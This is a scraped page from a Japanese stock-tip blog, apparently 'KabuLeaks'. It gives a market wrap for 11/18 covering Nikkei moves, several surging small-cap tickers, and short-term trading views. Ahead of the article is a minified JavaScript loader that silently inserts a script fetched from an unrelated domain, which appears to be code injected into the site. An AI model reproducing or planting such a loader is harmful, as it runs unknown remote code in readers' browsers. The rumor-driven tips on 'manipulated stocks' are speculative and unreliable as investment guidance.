;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【11/18 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【11/18 大引け】

本日の日経平均は104円高と続伸。後場の日経平均は節目の1万8000円台でのもみ合いとなった。ただ、前場の指摘した通り週末要因、急ピッチな上昇、1万8000円乗せたことからの達成感から底堅いものの、積極的な上値追いとはならず。大引けでの1万8000円台は維持できなかった。

個別では、電子タバコ関連から人気の【7818】トランザクション、こちらは材料は不明だが、何かしらの思惑か?不動産業の【3464】 プロパティエージェントがストップ高まで買われた。また、後場からは直近IPOの【3962】チェンジが後場急伸の大幅高で25日線上に浮上したほか、個人投資家に人気に中小型株の一角【2388ウェッジホールディングスや日米で電子決済事業での特許取得を好感されている【3753】フライトHDなども一段高。

その他、前日の東証1昇格へ鞍替えを発表した【3457】ハウスドゥ。VR領域を手掛ける子会社パルスに秋元康が資本参加を材料視、、第二のブランジスタとも既に言われている【3689】イグニス。ロシアで4G-LTE「大容量プラン データプラス」の提供を開始したと発表した【9416】ビジョンなどの上昇も目立った。

週明けは引き続き急ピッチな上昇警戒感、1万8000円乗せたことからの達成感などからの利益確定売りを意識。

年末株高の展開は個人的にも期待はしてるが、短期的にはやはり過熱感が気になる。このまま年末までノンストップで株価が上がり続ける展開は想定しづらく日柄調整、大幅安局面での押し目狙い。利益が乗ってる銘柄の一部は一旦の利食いが一番無難かと思う。

東証一部の銘柄は銘柄にもよるがやや様子見。あまり過熱感がまだない新興市場の銘柄狙い、値幅取りなど現状よさげだと思う。